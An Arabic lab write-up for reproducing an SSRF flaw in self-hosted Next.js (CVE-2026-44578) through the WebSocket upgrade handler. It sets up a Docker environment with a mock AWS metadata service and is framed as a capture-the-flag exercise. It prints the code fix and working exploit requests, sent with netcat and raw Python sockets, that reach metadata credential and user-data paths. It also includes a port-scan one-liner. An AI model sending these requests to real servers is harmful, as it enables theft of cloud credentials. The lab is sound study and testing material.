CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (مختبر)

مختبر مستقل لإعادة إنتاج الثغرة الأمنية CVE-2026-44578 (CWE-918، SSRF) في تطبيقات Next.js ذات الاستضافة الذاتية التي تستخدم خادم Node.js المدمج.

الحقل	القيمة
CVE	CVE-2026-44578
GHSA	GHSA-c4j6-fc7j-m34r
CVSS 3.1	8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
النوع	SSRF (CWE-918)
الإصدارات المتأثرة	Next.js 13.4.13 – 15.5.15 و 16.0.0 – 16.2.4
الإصدارات المُصححة	15.5.16 و 16.2.5
المصادقة	لا شيء
تفاعل المستخدم	لا شيء

طوبولوجيا المختبر

المهاجم (host: 0.0.0.0)
    │  HTTP :3000 (عام)
    ▼
┌──────────────────────────┐  نفس مساحة الشبكة  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (بيانات الاعتماد،    │
│ (خادم Node المدمج)       │                           │  user-data، الفهرس) │
└──────────────────────────┘                           └─────────────────────┘

• nextjs-vuln (المنفذ 3000): التطبيق الضعيف، مكشوف على 0.0.0.0:3000.
• imds-sidecar: محاكاة لخدمة بيانات AWS الوصفية التي تعيش على localhost:80 داخل مساحة حاوية Next.js، لمحاكاة مثيل حقيقي في السحابة. لا يمكن الوصول إليه من المضيف مباشرة (لا يوجد منفذ منشور).

                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC آلي (5 فحوصات)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + مسارات سرية
                        └── nextjs-app/             # تطبيق واقعي "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # شريط التنقل/التذييل
                            │   ├── page.js         # الصفحة الرئيسية
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (ضعيف)

لماذا هو ضعيف

معالج ترقية WebSocket في router-server.ts يستدعي proxyRequest() عندما يحتوي URI المُحلَّل على parsedUrl.protocol، دون التحقق من علامتي finished و statusCode اللتين كان معالج HTTP العادي يصدرهما دائمًا:

  // ضعيف (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // التصحيح (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

مسار الهجوم يستخدم سطر طلب مع URI مطلق بشرطتين مائلتين: GET http:///path. normalizeRepeatedSlashes يدمج http:/// إلى http:/، فيبقى بدون اسم مضيف، ثم يتصل http-proxy بـ localhost:80 مع المسار كما هو:

GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

وجود ترويسات Connection: Upgrade + Upgrade: websocket يجعل الطلب يقع في معالج الترقية الضعيف بدلاً من معالج HTTP الذي يحتوي على فحوصات الأمان.

تشغيل المختبر

docker compose up -d --build

التحقق من استجابة التطبيق:

curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

لجعله يعمل على 0.0.0.0، فإن تعيين المنافذ في docker-compose.yml يكشف بالفعل 3000:3000 على جميع الواجهات.

الاستغلال اليدوي

1. باستخدام netcat (nc)

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. باستخدام Python خالص (stdlib، بدون تبعيات)

python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. باستخدام الـ PoC الآلي

python3 exploit/exploit.py 127.0.0.1 3000

CTF — الالتقاط اليدوي للعلم النهائي

تدفق كامل يدوي 100%، في 4 مراحل. هناك 4 أعلام مخفية في الخدمة الداخلية (localhost:80)؛ هذا الدليل يعرض التدفق حتى الأول ويترك لك المسارات للعثور على الباقي.

المرحلة 1 — الاستطلاع

# بصمة الخادم
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# المنافذ المفتوحة عبر socket (بدون nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

لا يوجد وصول مباشر إلى 127.0.0.1:80 من المهاجم: المتجه الوحيد هو جعل خادم Next.js (الذي يعيش بالفعل على نفس شبكة الخدمة الداخلية) يطلب نيابة عنا.

المرحلة 2 — تعداد خدمة البيانات الوصفية عبر SSRF

أولاً نؤكد SSRF بالسؤال عن فهرس خدمة البيانات الوصفية:

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

استجابة الفهرس ← المرشحون: instance-id، hostname، iam/security-credentials/، user-data (العلم الأول). فهرس latest/meta-data/ يكشف أيضًا مفاتيح فرعية تستحق المزيد من الاستكشاف.

المرحلة 3 — بناء الحمولة (بايت ببايت)

GET http:///latest/user-data HTTP/1.1

الجزء	الوظيفة
GET	الثغرة توكّل GET فقط
http:///latest/user-data	URI مطلق. http:/// ينهار إلى http:/ ← اسم مضيف فارغ ← الوكيل يتصل بـ localhost:80 محافظًا على المسار /latest/user-data
Host: 127.0.0.1:3000	وإلا يستجيب الخادم بـ 400
Connection: Upgrade + Upgrade: websocket	يحوّلان الطلب إلى معالج الترقية الضعيف (معالج HTTP العادي يتحقق بالفعل)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==	ترويسات الحد الأدنى المطلوبة في مصافحة شرعية

الإنهاء: \r\n\r\n على الـ socket الخام (بدون جسم).

المرحلة 4 — الإطلاق اليدوي والتقاط العلم

# الخيار A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

# الخيار B: socket خام في Python (نفس الدقة، بدون nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

المخرجات — العلم الأول يصل في جسم استجابة الخدمة الداخلية:

HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

تم الحصول على العلم 1/4. ترويسة server: BaseHTTP/0.6 ... (محاكاة Python) تؤكد أن الطلب سافر مهاجم → Next.js → localhost:80، أي أن العلم تم تسريبه من الشبكة الداخلية عبر SSRF. الأعلام الثلاثة الأخرى موزعة على مسارات خدمة البيانات الوصفية والخدمة الداخلية — فهرس latest/meta-data/ هو خريطتك. ابحث عن الباقي.

النقاط المكشوفة في المختبر